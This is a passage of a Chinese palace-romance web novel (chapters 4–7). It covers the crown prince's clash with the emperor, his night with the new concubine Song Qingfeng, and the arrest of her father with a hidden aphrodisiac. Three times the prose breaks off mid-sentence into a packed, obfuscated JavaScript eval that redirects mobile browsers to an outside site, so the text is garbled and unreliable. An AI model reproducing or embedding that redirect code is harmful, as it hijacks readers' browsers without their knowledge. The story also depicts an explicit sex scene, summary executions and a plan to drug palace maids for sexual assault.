全福心下焦急,早就如热锅上的蚂蚁。但是殿下有命在先,他如何敢进来打扰。 只是再如何急,面上却不敢表露丝毫,只是陪笑道:“是,您先用些,陛下见您这么晚入宫,必是要留您用膳的。” 李岏知道他是想让自己随意吃点早点入宫去,嘴角挂了丝冷笑,却未说话。 直等慢慢用了饭,净了口,换了衣裳,一通折腾下来,天已黑透了,方起身往大内去。 东宫本就与大内相连,不必从外头走,乘着车直接从内院过去。 李岏睡了一会,困意全消,点着灯在车上看着大理寺晚间递来的奏疏。 不知过了多久,突然听到隐隐的哭声。 4. 第 4 章 不等他出声问询,侍卫在侧的东宫卫首领高守一眼瞧见在路侧的铜缸后头藏着一个人。 他心下一惊,飞速上前一把将人抓出来,待看清人不过是个小少年,不由惊讶地道:“十殿下?这么晚了,您怎么一个人在这里?” 李岏掀开车帘,果然瞧见这灯笼下哭得鼻涕眼泪一大把的,正是自己的庶弟老十。 只是此刻衣裳脏乱,隐隐瞧见手上还破了皮。 李岏不由皱了眉头道:“跟着的人呢?” 老十骤然被抓到太子的车驾前,吓得哭都忘了,只是缩着脖子跪下请安,跟着的人一个影子也没见着。 不一会,不知从哪里慌慌张张跑来几个内监,一把扑跪在马车旁,连连磕头道:“拜见太子殿下。” 他们怎么也没想到太子殿下这个时候进了内宫,还正巧撞见了十殿下。 李岏眼风在几人头顶一扫而过:“你们是伺候十殿下的?” 声音虽然淡淡的,不辨喜怒,那几个太监却吓得浑身发抖,只顾着磕头称是。 其中一个大太监大着胆子道:“回太子殿下,奴婢等并非玩忽职守,只是因着十殿下。。。” 李岏直接看向高守,语意冷酷打断他道:“以奴欺主的奴婢,将人送去皇城司杖毙。” 听到杖毙二字,几个太监未曾反应过来,连多一句求饶的话都吓得说不出口,便被东宫卫架着拖走了。 车下老十愈发瑟缩地跪着。 李岏忍不住骂道:“哭什么!这是什么模样,你好歹是个皇子,就这般被人拿捏?” 这个弟弟虽是个皇子,却毫无存在感,他的母亲不光身份低微,而且不知犯了什么错被陛下赐死,连带着这个儿子也一向不受陛下的待见。 他也素来与这个弟弟没有交集,一年见不上几回面。这宫中的人,自也是跟着拜高踩低,怠慢于他。 十皇子被骂,瘦瘦小小的身体缩成一团,愈发将身子埋得更低,低声咕哝道:“太子哥哥。” 一旁引路的内侍慌张地纠正道:“要称殿下。” 李岏看着人却顿了顿,黑暗里眸色难明,好一会转头与高守道:“叫人好生送十殿下回去,明日让全福在东宫里头,挑些可靠的人来伺候十殿下。” 高守方要应是,又反应过来好像不对。 而今是在大内,若是殿下选些东宫的人进来,似乎有些不妥,遂道:“太子殿下,这。。要不臣去内侍省让他们重新选人?” 李岏抬手打断了他,若是内侍省敢有什么作为,老十也不是今日这般模样。 呵。 一个没有权势又被陛下厌弃的皇子,在这宫中能有什么日子。 打发走了十殿下,不一会马车便驶到了勤政殿外头。 即便不是黑夜,这个勤政殿里也照不进多少阳光。 更何况此刻天已全黑,整个殿在黑暗里就如蛰伏的猛兽,让人望而生畏。 陛下年纪大了,似乎更喜欢阴暗一点的屋子。他一个人高高地坐在御案后头,底下的人根本瞧不清他的神情,自然也就猜不到他的圣心。 李岏不由得想起那大理寺的装扮,难道是学的此处? 不过与大理寺不同的是,这屋子虽然灰暗了些,四处的摆设却极为尊贵,透着皇家的无上尊荣,价值连城的玉石在此也不过是个随意垫桌脚的石头。 来此的人,莫不心惊胆战,自觉地低下头不敢直视。 几人走在细软的松绒垫上,连半点脚步声也无,直到快到一张案前,在前躬身引路的总管太监丁德庸这才回身笑道:“太子殿下,您在此稍候,奴婢这就去请陛下过来。” 李岏盯着案上那鎏金鹤首炉鼎冒着寥寥的青烟,御案上凌乱地放着许多黄皮的奏疏。 不知过了多久,才听见珠帘叮当,一个人脚步深沉,慢慢地走了进来。 李岏并没有抬头去看,而是跪下行礼:“拜见陛下。” 好一会上首才传来略显疲倦的声音:“坐吧。” 李岏直起身,径直走到左侧的椅子上坐了,宫人这才鱼贯而入奉上茶点来。 他也不去端茶,而是随手理了理苍松色的衣角,这才抬目向上首看去。 父子二人目光相触。 皇帝穿着宽松的浅色常服,半个身子隐在黑暗里,斜坐在案上扒拉了一遍案上的奏疏,也不抬头:“这些是晚间从各处递过来的折子,你可知都是什么内容?” 李岏端坐着一动不动,等着他继续。 这位天下至尊抬起头,自昏暗的烛火里透出令人心悸的目光:“今日白天,不过三个时辰里,你便在大理寺对五位朝廷重臣用了酷刑?” 李岏道:“不错,他们如何贪墨灾款的供词想必已呈了御览,陛下对他们的供述可有疑问?” 皇帝却不接他的话,自顾道:“这些都是弹劾你的折子。朕知晓你的苦心,想要查出灾款贪墨实情,可却不想手段狠辣,操之过急。” “身为储君,公然对朝廷大臣动刑?这些年你学的为君之道都去了何处?为君者对下臣毫无宽恕之道,一国储君难道这是要走上酷吏之途?” 殿内今日燃着的烛火极少,衬得皇帝的脸黑黢黢一团有些可怖。 李岏一身苍松色织锦蟒袍在烛火下不动如山,只有一只手轻轻抚了抚腰间的白龙凤纹玉带。 按理这时候太子便该跪下请罪,可皇帝见他却不语也不动,不由心中怒极,沉下脸道:“你有何话说?” 李岏自椅子上起身,对着上首的人行了一礼道:“陛下可曾看了近日西北送来的折子?近一个月的地动,百年未有,已叫数万人流离失所,镇北军几乎是半数而出,前往救援,但是后勤无力,所有人被困在废墟之地只能饿着肚子救人?军人尚可勉强支撑,可安西四镇的百姓,他们此刻急需的,是朝廷能给他们活下去食物和住处。” “国有刑法,方惧而无犯,臣此番所行,不过是施以小惩,叫这朝野上下,无人敢打这些赈灾银子的主意。至于这些人,食君之禄,位列公卿,却行此不忠不义之事,陷百姓于不顾,陷西北边境的安危于不顾,待此案落定了,还需以误国论罪。” 皇帝捧了茶盏喝了一口,方缓了口气道:“哪里谈得上误国罪?自春后,北戎皇帝便缠绵病榻,他们又失了镇国玉玺,内部诸皇子便是纷争不断,听闻北戎皇帝命不久矣,此刻哪里有空侵犯我边境。” 一丝嘲讽自李岏的眸中闪过,所以借着此次地动,他们敢于下手,让镇北军半数被困。 他抬头道:“将家国的安危放在此侥幸之心上,终要受制于人。” 烛火照不见,皇帝的脸色已经难看到了极点,他握着杯子的手剧烈颤抖。 好一会才和缓了语气道:“如此说来,太子所行虽偏激了些,倒也是一片拳拳爱国爱民之心。只是望你以后行事,要多思多想,以仁恕为主,少些暴虐桀纣之行。” “是,臣记住了。” 皇帝垂眸见下面的儿子端端正正站着,身形颀长挺拔,一身矜贵,不知何时已经长大成人,早不是那个乳臭未干的小儿。 他顿了顿,温和了声音道:“昨夜朕喝多了些,将一个女子赏了你,听说今日已进了东宫,你可还喜欢?没有怨朕自作主张吧?” 李岏道:“怎么会,臣谢陛下赐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885580|159870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 他脑中一闪而过昨夜那女子的神色。 他必定早就得知这女子的身份,故意顺水推舟。 “那终究只是侍妾,说来你也老大不小,太子正妃人选早该落定,事关国体,这事不能再拖下去。只是太子妃的人选一时难决,朕已叫皇后为你在世家中物色合适的人。你也早些成婚,朕年纪大了,也叫朕早日抱上嫡长孙。” 循循的声音听来,当真如盼着抱孙子的老父亲一般,李岏的眸子不动,只是道:“是,劳陛下费心了。” “自十多年前,你的表兄们临危受命,去西北苦寒地驻守,这些年便再没回来过,你大表兄又。。此次他们奔波安西四镇救人,实在是辛劳,等你大婚之时,倒可以招他们回来,好生热闹团聚一番。” 李岏的手指自玉带上轻轻拂过,他又抬手行礼,也不应答,只是面无表情地道:“陛下若是没有其他吩咐,天色已晚,臣留在此多有不便,便先告退了。”说罢也不等上首人发话,便转身走出了大殿。 身影方消失在大殿门口,皇帝再忍不住,一把拿起桌案上的镇石砸向了地面,“哐当”一声,奏折哗啦啦散了一地。 守在外头的丁德庸忙跑了进来,瞧见满地的狼藉,跪在地上就要收拾。 “滚出去!”皇帝低沉的嗓音传来。 他吓得慌忙又退了出去。 这时却又从后头传来一温柔女声道:“陛下息怒。”说着便见一穿着紫色小团凤缎绛纱袍的宫装丽人自后头走上前来,款款走到陛下身旁,端了茶盏来给他。 陛下瞧见她,抬起手指着门外道:“你瞧见了没!他这是什么态度?果真是目无君父了吗!” 皇后顺着皇帝的背笑道:“太子殿下毕竟还年轻,难免思虑不周全,意气用事了些,陛下消消气。” 皇帝怒道:“他还年轻!这几年愈发行事乖张,手段狠戾,哪有半点仁君之态?方才听闻他在大内打死了几个内监,还要安插东宫的人到老十那里去!他的手伸的还不够,而今已经伸进大内了!” “如今又多番推脱。。”皇帝的话突然咽了下去。 皇后仿若未闻,继续劝慰道:“太子殿下在宫内教训个奴婢也没什么。。。” “就是养只阿猫阿狗都知道哄朕开心,哪里像他?” 灯火映着颀长的身影,将身后的声音渐渐地消散。 他约略转头,殿口守着的内监具都瑟缩地埋下头去。 李岏走到外面,白日的热气已经散尽,秋意的凉升腾而起,自袖子里钻遍全身,叫他感到浑身赤骨的寒。 站在长阶之上,负手看着夜色里的宫城,只有零星的火光在四处闪烁。 四处黑的如一片看不清的浓雾,不知何时就要将人吞了进去。 他摸了摸玉腰带,嘴角露出一丝嘲讽的笑。 从始至终,他的好父亲,未曾问过他是否真的身体不适,也未问过他用了晚饭没有,更是未问过,那处的灾民和镇北军到底如何了。 他满心里想着的,只是如何能借此拔掉儿子的爪牙,拔掉自己心中多年的尖刺。 全福一直在方华殿外等着太子殿下归来,谁知殿下还没回来,倒是传话的人来了。 听闻要选送东宫的人去伺候十殿下,他忍不住跺脚道:“高守伺候在殿下旁边?他怎么木头似的不知道劝阻殿下?” 那个十皇子本就不得圣心,又是个没用的脓包,让他自生自灭也就罢了,咱殿下非要去管他做什么! 若是往年也就罢了,只是近一两年,陛下对殿下的态度,明眼人都瞧出来不对了。 这种时候,触什么霉头啊! 5. 第 5 章 宋轻风在一帮老嬷嬷的折腾下,穿着薄如蝉翼的内衣,外头披了件衣裳,便专心候着殿下传召。 秋意寒气从窗户缝里钻进来,慢慢爬上全身。 她忍不住抖了抖,抱住胳膊。 从窗户看去,四周的宫灯在夜色里摇曳,陌生的景象在灯火晃动中叫她忍不住紧张起来。 马上,就要见到他了。 昨夜匆匆一瞥,到现在,似乎记忆都有些不真切了。 会不会一切都是一场梦? 她压下自己的胡思乱想,左右无聊,遂问道:“我有点紧张,太子殿下脾气好吗?” “那自然…”高嬷嬷卡了壳,太子殿下可是出了名的冷酷,谁见了不双腿发抖,但她不能说,转而瞪眼道,“妄议主上是死罪!” 宋轻风缩了缩脖子,又问道:“殿下瞧着年岁不大,听说未满十八岁,怎么看起来有些暮色沉沉?” “死罪!” “太子殿下眼下的红痣,是天生的吗?问这个该不会也是死罪吧?” 高嬷嬷瞪眼厉声道:“死…你问这个做什么?” 终于得到的不是死罪了,宋轻风也懒得想啥借口,只是扣手指道:“左右无事,问了玩玩罢了。” 哪知说完这句,高嬷嬷面色愈发凶狠,周围几个嬷嬷的脸色也都变了。 “这是顶顶的死罪!!”几人异口同声地道。 宋轻风一时丈二和尚摸不着头脑。 高嬷嬷脸色黑如乌鸦,堪比锅底,手指邦邦地点着桌案道:“绝不可再说那两个字,犯了太子殿下的名讳!你爹没告诉过你吗?” 说着想到她爹是宁安侯,几个嬷嬷忍不住都摇了摇头,他是京里出了名的混不拧,指望他不如指望一头猪。 何况他们哪里想到过女儿有一日竟能与太子有什么交集,自然更不会提。 果然宋轻风一脸迷茫,并不知太子殿下的名讳。 还是高嬷嬷道:“你是伺候殿下的人,这点上头要比别人格外留意。” 在她拐弯抹角的叙述里,宋轻风好一会才搞明白,原来是“问了玩玩”里头的“玩玩”二字犯了忌讳。 原来他的名字叫玩玩。 或者玩完? 倒是很特别。 不知过了多久,有小太监来报,说是太子殿下已经起驾准备回来了。 屋内几个嬷嬷加一个宋轻风具都一惊。 众人又将宋轻风拽过去按在梳妆台前,仔细理了理发饰和衣裳,好不容易又从她的手腕处发现一根发丝,狠狠地捏掉了。 宋轻风看着镜子里的人,肤若凝脂,面生红晕,满头精美的金玉发饰,实实在在美得叫她自己都有些移不开目光。 原来人靠衣装马靠鞍,果然如此! 几个嬷嬷围着她一顿夸赞,更是将她夸得天上有地上无一般。 她听着忍不住眉开眼笑,一个劲抚着落在耳边的发丝。 折腾了好一会,听门支呀一声又开了。 宋轻风一瞧,进来的却是个高高细细长脚虾似的太监。 那长脚虾眼风一扫,就瞧见了她。 不等发话,高嬷嬷已大喜一步上前道:“顺意公公,姑娘已经收拾妥当了。” 长脚虾顺意点头道:“宋姑娘请跟奴婢来吧,几位嬷嬷也一并跟着伺候吧。” “哎。”几人眉开眼笑,这可是太子殿下第一回召人,少不得得些赏赐,更是长脸的事。 宋轻风踏出屋子,一股冷风冰块似地贴着皮肤。 她摸了摸胳膊上的鸡皮疙瘩,将脖子又往里缩了缩。 夜早就黑了彻底,好在四处转角挂着明晃晃的宫灯,顺意也提着一盏在前头引路。 几人步子迈得虽小,走起来却又轻又快,脚步声沙沙地响在四周,如羽毛拂过她的心间,痒痒的,又心中发颤。 她只是埋头,一路跳踩着石板的缝隙跟着,大步迈过几级台阶,轻轻跳过两个高门槛,路经一盆盆正含苞盛开的花盆。 屋内又暖又香。 顺意突然停了脚步,指着不远处道:“姑娘在这里等着就是了。” 宋轻风立马停住,这才瞧见屋子的角落里一张雕花床榻,床上浅红色的被褥瞧起来崭新又柔软。 床幔是轻纱,拂在两边。 她埋头挪着小步,一点点走到床边,坐了下来。 “啪”地一声,吓了一跳,发现几人已经出门了,门关了起来。 宋轻风听了好一会,才确认屋内只有自己一人。 屋角燃着两只蜡烛,屋内的光线是昏暗又朦胧的,可屋内的一切,却又极是齐整光亮。 这屋内的一物一器,都不打眼,却极讲究,她原以为宁安侯府夫人住的屋子,就是世上顶好的,没成想与这里比起来,简直称得上寒酸。 好一会,她才放开呼吸,发现这屋内的味道陌生又浓烈。 不一会就将她熏得晕晕然。 宋轻风笔挺地坐了半晌,腰都坐得酸了,屋内外还是毫无动静。 看来今夜是不成了。 所有的紧张慢慢消弭,困意却渐渐上涌。 一夜未眠,又在院子里站了一日,紧绷的一根弦终于松了下来。 她摸了摸身下的被褥,太过崭新洁净,没舍得碰,索性抱起双臂靠着床背打盹。 不知如何睡着了,正自朦胧间,却听“啪”地一声轻响,门开了。 宋轻风惊醒过来,一下子直起身,头上金玉发钗叮当作响。 眼见进来的是一个胖胖的身体,她心中一凉,好一会才发现是全福。 全福见她睡眼惺忪,一双黑眼睛里头的困意还未消散,一时无语道:“快醒醒,太子殿下召你了。” 宋轻风“啊”了一声,这才反应过来,原来这张床竟不是备着两人用的。 只是让她在此候着的。 那铺这么干净好看的被褥做什么。 她只好起身,理了理被她弄皱的床铺,跟着全福又转移地方。 这回全福是空着手,没有拧灯笼,一路瞧不清楚,他只是操着手在前熟门熟路地小步快走。 宋轻风提着裙摆小跑才勉强跟上,不一时,就到了一个门前。 全福顿了顿,转头看了她一眼,而后在门口躬身低声道:“太子殿下,人到了。” 里头一点声音也没有,全福却已转身与她道:“快进去吧。” “啊。”宋轻风硬着头皮打开门,双目一扫,一眼瞧见左手边的太师椅上正松散地坐着一个人。 月色自窗边撒进来,撒在铺陈开的白色长袍的尾端,如皑皑白霜。 那人一手抚在椅边,一手捏着一枚白玉般的东西。 一灯如豆,燃在桌边,他整个人都在阴影里,烛火与月华,只打在了他修长的手指,和面前的一盘黑白棋子上。 就如泼墨一般,浓重的黑影里,几点雪白,静存在天地之间。 宋轻风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885581|159870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下意识揉了揉眼,阴影里坐着的人面如白玉,眼下一粒小红痣鲜红如血。 她看着他,目光再也挪不开分毫。 下意识轻轻走上前,在离他几步远的地方又停住了。 张了张口,嗓子干哑,没有发出一个音节。 她闭了嘴,停了足,生怕一点额外的声响,让面前的一切烟消云散。 椅子上静止的人动了动,光影流转,面目渐渐清晰,月光皎洁,落在眉眼间却如覆了霜雪,点漆的眸子自棋盘上一扫而过,在月光下亮出琥珀之色。 搭在扶手上的一只手微抬,向内一指。 顺着手指的方向看去,宋轻风瞧见内间里有一张很大的拔步床。然而屋内没有点烛,也没有开窗,只有外间烛火的一点微光透过去。 她会意,乖乖挪动往那去。 目光自他身上一寸寸挪开,这才明白他原来在自己与自己下棋,目光扫过,这棋旁,还摆着一只造型精美的盒子。 她来不及多看,就行到了内间,走到了拔步床边。 身后的烛火,照见床上崭新绵软的素色锦被,隐隐流光溢彩,正铺陈地整整齐齐,半点褶皱也无。 她站着,心中咚咚乱跳,却连坐也不敢了,生恐弄乱了这精心弄好的一切。 黑暗中淡淡的沉郁香气袭来,她一时感到头重脚轻,浑身如失了控制。 原以为又是久等,哪知身后传来脚步声,她一转头,却见白色长衫的颀长身影已跟着走了进来。 宋轻风心中一惊。 烛火投下他的身影,高大的灰色影子一点点盖在了自己的身上。 他行的每一步,都如一根锤子击打在自己的心上。 “躺下。” 他唇微启,毫无感情地吐出这两个字。 一双冷淡的眸子扫过来,虽然看向她,却又似看向了别处。 宋轻风紧紧扯了裙边,乖乖地躺了下来。 内室的门缓缓合拢,屋内的光亮渐渐消失,宋轻风侧过头,借着最后一丝光线瞧见长衫委顿在地,白如雪堆。 他覆了上来。 宋轻风脑袋嗡嗡作响,浆糊一般,虽然还惦记着嬷嬷的教规,丝毫不敢乱动,可眼睛却失了控制,半点也挪不开人。 床幔落了下来,硕大的拔步床却成了小小的空间,将他们两人合拢在一处。 他的眉眼很凉,身上却是极热的。 床内黑得伸手不见五指。 可她还是能从黑暗里,分辨出他的眼睛,眉毛,鼻子,嘴巴,每一处轮廓和线条,无一不是自己心心念念了好几年的模样。 未曾想时隔两年,这样的脸又出现在自己面前,与自己这般近。 兰哥哥。 宋轻风浑身止不住地颤抖,鼻子一酸,眼泪险些溢出。 在黑暗里,李岏感受到身下人的颤抖和抽噎,不由动作一停,对着黑暗嗓音淡漠:“你一界女流,孤不会迁怒你,但是既入了府,从此要安分守己。” 说完却似乎感觉到面前的女子愈发目光灼灼地看着自己。 这目光甚至有些烫人。 他皱了皱眉,伸手抓过床帐长长的烟纱,一把扔了过来盖住了她的脸,也挡住了她的目光。 眼睛被遮,宋轻风透过烟纱,朦胧中面前的人竟是像了十成十。 不知过了多久,身下却突然传来一阵撕裂般的痛,眼泪一下子再忍不住汹涌而出。 他这么快就进来了。 6. 第 6 章 宋轻风早有准备,可学习和实践总是相去甚远,疼痛和不适叫她忍不住汗毛倒立,手只能下意识将身下的被褥紧抓做一团。 云鬓早已散乱,汗湿的发粘在面颊两侧,发上簪戴的金玉发钗叮咚作响,不一会就滚落在床上。 双目被遮,滚烫的触感被无限地放大,令人脸红心跳的声音,夹着不易察觉的轻微喘息,随着动作忽远忽近。 她仰起脖颈,细密的汗珠顺着白细的皮肤流入身下。 他的动作说不上温柔,也谈不上粗鲁,只是按部就班,似有章程一般。 在她咬牙,腿酸得快要支撑不住之时,突然一松,被放了下来。 身上的人已抽身离开。 而后一阵细碎的金铃声响,传来窸窸窣窣的脚步声。 宋轻风拨开烟纱,面色涨红,自床帐中露出一点眼睛,黑暗里隐约见他已下床披了衣裳。 人走到门边突然顿了顿。 宋轻风止不住脸红心跳,盼望着他能回过头来叫她看上一眼。 谁知却听他与门口候着的宫人道:“全换了。”而后背影消失在门边。 宋轻风脑袋一僵,却见已立刻有人推门进来。 久在黑暗里,蜡烛的火光刺痛了她的眼。 她下意识闭了闭眼睛,还挂在眼角未干的泪顺着汗滑落下来。 蜡烛的白光照得高嬷嬷一张笑脸看起来格外瘆的慌,她三两步上前来,喜笑颜开地行礼:“恭喜宋娘子,贺喜宋娘子。” 宋轻风愣了愣,不过片刻功夫,自己就从姑娘变娘子了。 高嬷嬷道:“奴婢等伺候宋娘子回去洗簌去。” 宋轻风摸索着抓了衣裳披着,跳下床来,哪知双腿酸胀难言,险些站不住。 高嬷嬷眼疾手快一把扶住她笑道:“娘子可当心些,您身子娇贵,可千万别摔坏了。” 宋轻风回过头,见原本铺得整齐的床褥已被她抓得皱成了一团,凌乱不堪。 想到方才的一幕,她还是忍不住脸颊发烫。 却已有宫人忙忙地将床上的被褥从里自外全都撤了个干净。 不一时床上重又铺了新的被褥,素色鎏金的样式,纤尘不染,半点褶皱也无,仿佛方才的一切从未发生过。 按规矩,侍寝完之后她是不能在此久留的,连洗簌也需回自己的屋子。 宋轻风随着几名嬷嬷一道回去。 外头的天还是黑得如墨染得一般,天上无星无月,连风也停了。 角落里虫子叫唤得欢乐。 快要离开方华殿时,宋轻风见那几个抱着换下来的被褥的宫人走到外头的角落里交与人道:“全总管吩咐,这些褥子送出去处理了。” 她扫了一眼仿若未闻,裹了裹身上的衣裳,与几位嬷嬷到了刚开始沐浴的地方。 嬷嬷们伺候得愈发殷勤,热水茶点,无不准备地极为妥帖。 她泡在水里,一时舒服的浑身像是散了架子一般,像是变成叶子一般一片片飘在热水里头。 不一时却见一嬷嬷端着一碗冒着热气的黑漆漆的药进来了。 高嬷嬷攀在浴桶边上轻声细语安慰她道:“娘子莫要伤心,这只是规矩。一般在太子妃产下嫡子之前,其他妃妾是不能有孕的。今日娘子承了宠,那可是太子殿下的第一人,娘子这身份地位那也不是其他的妃妾能比的,以后机会还多得是。” 第一个人? 他做起那事来轻车熟路,一击即中,居然会是第一次? 宋轻风被热水泡得困意大起,只听得高嬷嬷蚊子一般得嗡嗡说个没完,懒得动弹,只是闭着眼睛,就着药碗一饮而尽。 不得不说,这药闻起来难闻,喝起来更是苦得人发呕。 她被苦得睁开了眼睛。 好在高嬷嬷早有经验,已有蜜饯送来了唇边。 。 李岏洗簌干净,回到房间。 屋内早已没了人,床上被褥换了个干净,连床帐都换了新的来,床头燃着一炉新制的沉香。 满室冷寂清冷的香味。 他扫了一眼便坐了下来,靠在床背上,好一会与全福道:“明日让詹事府拟定册封的令旨,封今夜侍寝的。。” 见太子眉心微皱,全福小心提醒道:“是宋氏女。” 李岏道:“封宋氏为奉仪。” 全福压下面色,只是低着头连声应是,又笑道:“太子殿下如此洪恩,那宋娘子只怕要感激得痛哭流涕了。” 这宋氏说是顶着御赐的名头,可陛下也只给了侍妾,一个正经名分也无。 奉仪虽是太子侍妾中最末等的九品,可到底是个正儿八经的名分。 李岏方欲睡下,却听外头突有人低声:“太子殿下,臣有事求见。” 是高守,这么晚来求见,定是出了事。 李岏双目一暗,道:“进来。” 却见高守低了头,进来便跪下,也不啰嗦,磕头道:“臣在东宫内抓到一个刺客。” 李岏披了衣裳,去到外间,方在椅子上坐定,却突然室内响起一个声音道:“臣磕见太子殿下!” 那声音如洪钟一般,将他吓了一跳。 高守见殿下受惊,立刻拔出腰侧长剑向着声音刺去。 李岏低下头,发现地上匍匐着一个人影,如圆球一般趴在地上剧烈抖动着。 高守举剑在对方颈间,禀告道:“太子殿下,这便是臣抓到的刺客。” 森冷的剑身贴着脸,跪在地上的刺客被死亡的恐惧吓得肝胆俱裂,浑身发软,一把鼻涕一把泪地叫道:“饶命啊!饶命啊!大人啊!殿下啊饶命啊啊!” 全福初见那圆冬瓜的身形便心中打鼓,此刻再听声音,不确定地道:“宁安侯?” 果然刺客颤颤巍巍地抬起头,不是那宁安侯宋怀德还能是谁? 正是因着宋氏今夜侍了寝,高守才没有就地将此人处决,而是深夜惊动了太子。 宋怀德见到全福便如见到了救星,手脚并用跪爬过来就抓住他的衣摆哭泣道:“全福公公,您可千万替我作证啊!我真的不是刺客啊呜呜呜。” 全福心道不好,只好擦了汗解释道:“回太子殿下,这确实是宁安侯,他今日特意送女来东宫的,只是不知为何还未出宫去。” 李岏想到此,面色一哂,问底下跪着的人:“宁安侯?” 高守这才将剑挪开。 宋怀德感到浑身汗都湿了,忙咚咚咚拼命磕头:“臣宁安侯宋怀德拜见太子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885582|159870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殿下!臣实在是冤枉的啊,臣就算有一百个胆子也不敢当刺客,臣那是不学无术,只知道吃喝嫖赌,怎么有本事做刺客啊,臣好冤枉啊啊。” 李岏直觉得屋内跪着一只大窝瓜,咚咚咚地在敲,声音在黑暗里格外刺耳,不由眼皮跳了跳。 高守打断道:“太子殿下,臣抓到他时,他还未出宫,正鬼鬼祟祟地在膳房里头烧香。” 宋怀德忙拼命磕头,脸上眼泪鼻涕糊做一团道:“臣原想磕完头就出宫去的,可是。。可是实在是坏了肚子。。只好在东宫里头找茅房,找了半晌。。” 他寻不着,又忍不住,愣是最后蹲在草丛里解决了。 等他从草丛里腰酸腿软地爬起来的时候,宫门都已下钥了! “小人如失了头的苍蝇吓破了胆,只能颤巍巍躲着,想等着天亮了再出去。” 高守却举手拿出一个玉色的发簪和一卷纸包道:“胡说!你若是不慎耽搁了出宫,大可找管事禀明情况,可你没有,却一个人鬼鬼祟祟去了侧室。臣派人搜了他的身,在他发簪上搜出毒香,他手里的香炉已被下了毒!” 若不是他知晓今日殿下召了宋氏女侍寝,而这人又是宋氏生父,他也不至于敢大半夜来搅扰太子殿下。 想到若是这父女二人有不臣之心,他心中一阵后怕。 全福也想到了此点,面上褪了血色。 李岏当然早就想到了,可他整个人圈在椅子里,懒懒的,面无表情,并没有打算要查看那药的意愿。 宋怀德拼命摇手道:“不不不,就算给我一万个胆子也不敢啊,这。。这真不是毒药。” 全福上前问道:“这是何物?” 宋怀德一张脸都有些扭曲了。 “这。。这只是春。。药。” 这是他逛春风楼常备的东西,怕家中母老虎发现,狐朋狗友支招,花了重金买了这样一只内有玄机的发簪,可保万无一失,不想今日居然立刻被搜了去! 其实今日他从草丛里爬起来,发现误了时辰,正欲去寻全福。 哪知走到半道见到两生得如花似玉的宫娥,当真仙子一般见所未见。 他一时鬼迷了心窍,悄悄跟在了后头。 那时天色已黑,两宫女并未察觉被人尾随,只是跑去膳堂里头用完饭,又回了自己的屋子。 更妙的是那宫女二人单住在一间。 宋怀德自小风月场里打滚,何曾见过这般貌美,又是在宫中禁地,一时刺激又紧张地要发疯,决定悄悄潜入室内烧个香,在里头下点药,叫那小宫人夜里头落入自己怀里。 他再混账,也知这事要是说出来,自己小命难保。 可解释为何燃了此香,他五官扭曲一时也想不到什么好的说辞来。 李岏见他早已吓地尿在了当地,面上更是糊得不成样子。 堂堂侯爵,这幅模样,当真令人满心厌恶,一眼也不愿多看,只是与高守道:“按宫规处置。” 说着长身而起,欲要离开。 高守立刻领命道:“是。” 宋怀德不知宫规为何,抬起头瞪着大眼盯着高守的嘴。 却听高守立刻与旁边人道:“拖出去,斩立决。” 斩立决??! 7. 第 7 章 宋怀德吓地七窍没了八窍,险些魂归九泉。 他还来不及反应,侍卫的手掌已擒住他的胳膊,如铁爪嵌入皮肉,他余光扫到侍卫腰间的宝剑,阴冷可怖,脖子已感到寒凉刺痛,立时毛骨悚然,浑身剧烈颤抖。 求生的本能叫他反应过来,拼命狂叫道:“太子殿下!臣有话要说!!” 可是无人听他。 他一时脱口而出:“臣是受了小女的命令,是宋轻风,是那死丫头让我这样做的!” 李岏已走到远处的脚步一顿。 他面无表情地挥了挥手,侍卫立刻停了下来。 秋日天气,宋怀德满身的汗却如浆落下来,全身上下如从水里捞出来一般湿了彻底。 他不过是绝望之中随手抓住一根救命稻草,女儿都已是太子的人了,这救命稻草,果然令太子动容。 他跪伏在地,脑子居然难得飞快地运转,结结巴巴地道:“我。。我女儿。。得了陛下和太子殿下的大恩大德,今日特意入东宫来服侍殿下。。” “只是,只是她出身低贱,草野长大又没什么见识,一边子激动不已,一边又忧心自己不能得殿下您的喜爱,因此才叫我特意留在宫里照应她一番。” “若是殿下召她,便也罢了,若是不能,便叫小人想尽办法能叫太子殿下闻点这药,小人打包票,这药药效极好,只需沾上一点,就能水到渠成,欢喜无限。说来这药闻了也没什么坏处,倒是叫人快活得很呢。” 全福恨不得踢死他,斥道:“胡说什么,宋娘子小小年纪,怎能知道这些东西?” 